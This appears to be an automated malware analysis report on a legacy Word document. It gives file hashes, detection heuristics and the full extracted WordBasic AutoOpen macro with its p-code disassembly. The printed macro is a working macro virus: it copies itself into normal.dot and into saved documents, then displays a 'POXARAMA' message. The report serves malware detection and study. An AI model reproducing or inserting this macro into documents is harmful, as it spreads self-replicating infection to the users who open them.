Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbb2bb8d5bf18bc5…

MALICIOUS

Office (OLE)

29.5 KB Created: 1994-10-04 14:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 35c0c4e877c976027e9219d279e38a47 SHA-1: 420638291911f4468a6cbffcaae1b9afc2049c5b SHA-256: fbb2bb8d5bf18bc5a997884d5062d9d3cf01d60a02b305ce18829785eba5fb12
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The macro attempts to copy itself to the 'normal.dot' template, suggesting an attempt at persistence or infection of other documents. The ClamAV detection further supports the malicious classification.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-46 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-46
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2741 bytes
SHA-256: 9626c257ac64a93c3add172e19225dcf13988c6be9b4b7a1821a403c5621dd5c
Detection
ClamAV: Doc.Trojan.Minimal-46
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"


Public Sub MAIN()
Dim N$
Dim Msg$
Rem AutoOpen Macro
Dim wiz As Object: Set wiz = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs wiz

On Error GoTo -1: On Error GoTo PoX
If wiz.Format = 0 Then
wiz.Format = 1
N$ = WordBasic.[FileName$]()
WordBasic.MacroCopy "normal.dot:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 3
WordBasic.FileSaveAs wiz
End If

WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "normal.dot:AutoOpen", 3
Msg$ = Msg$ + " May a PoX be upon you "
WordBasic.MsgBox Msg$, "            POXARAMA"
WordBasic.Beep 32
PoX:
End Sub

' Processing file: /opt/analyzer/scan_staging/ec2b804ae8fd45d4b2fce13687e9f6be.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1890 bytes
' Line #0:
' Line #1:
' Line #2:
' 	FuncDefn (Public Sub MAIN())
' Line #3:
' 	Dim 
' 	VarDefn N
' Line #4:
' 	Dim 
' 	VarDefn Msg
' Line #5:
' 	Rem 0x000F " AutoOpen Macro"
' Line #6:
' 	Dim 
' 	VarDefn wiz (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set wiz 
' Line #7:
' 	Ld wiz 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #8:
' Line #9:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError PoX 
' Line #10:
' 	Ld wiz 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitDI2 0x0001 
' 	Ld wiz 
' 	MemSt Format$ 
' Line #12:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St N$ 
' Line #13:
' 	LitStr 0x0013 "normal.dot:AutoOpen"
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitDI2 0x0003 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #14:
' 	Ld wiz 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #15:
' 	EndIfBlock 
' Line #16:
' Line #17:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitStr 0x0013 "normal.dot:AutoOpen"
' 	LitDI2 0x0003 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #18:
' 	Ld Msg$ 
' 	LitStr 0x0017 " May a PoX be upon you "
' 	Add 
' 	St Msg$ 
' Line #19:
' 	Ld Msg$ 
' 	LitStr 0x0014 "            POXARAMA"
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0002 
' Line #20:
' 	LitDI2 0x0020 
' 	Ld WordBasic 
' 	ArgsMemCall Beep 0x0001 
' Line #21:
' 	Label PoX 
' Line #22:
' 	EndSub

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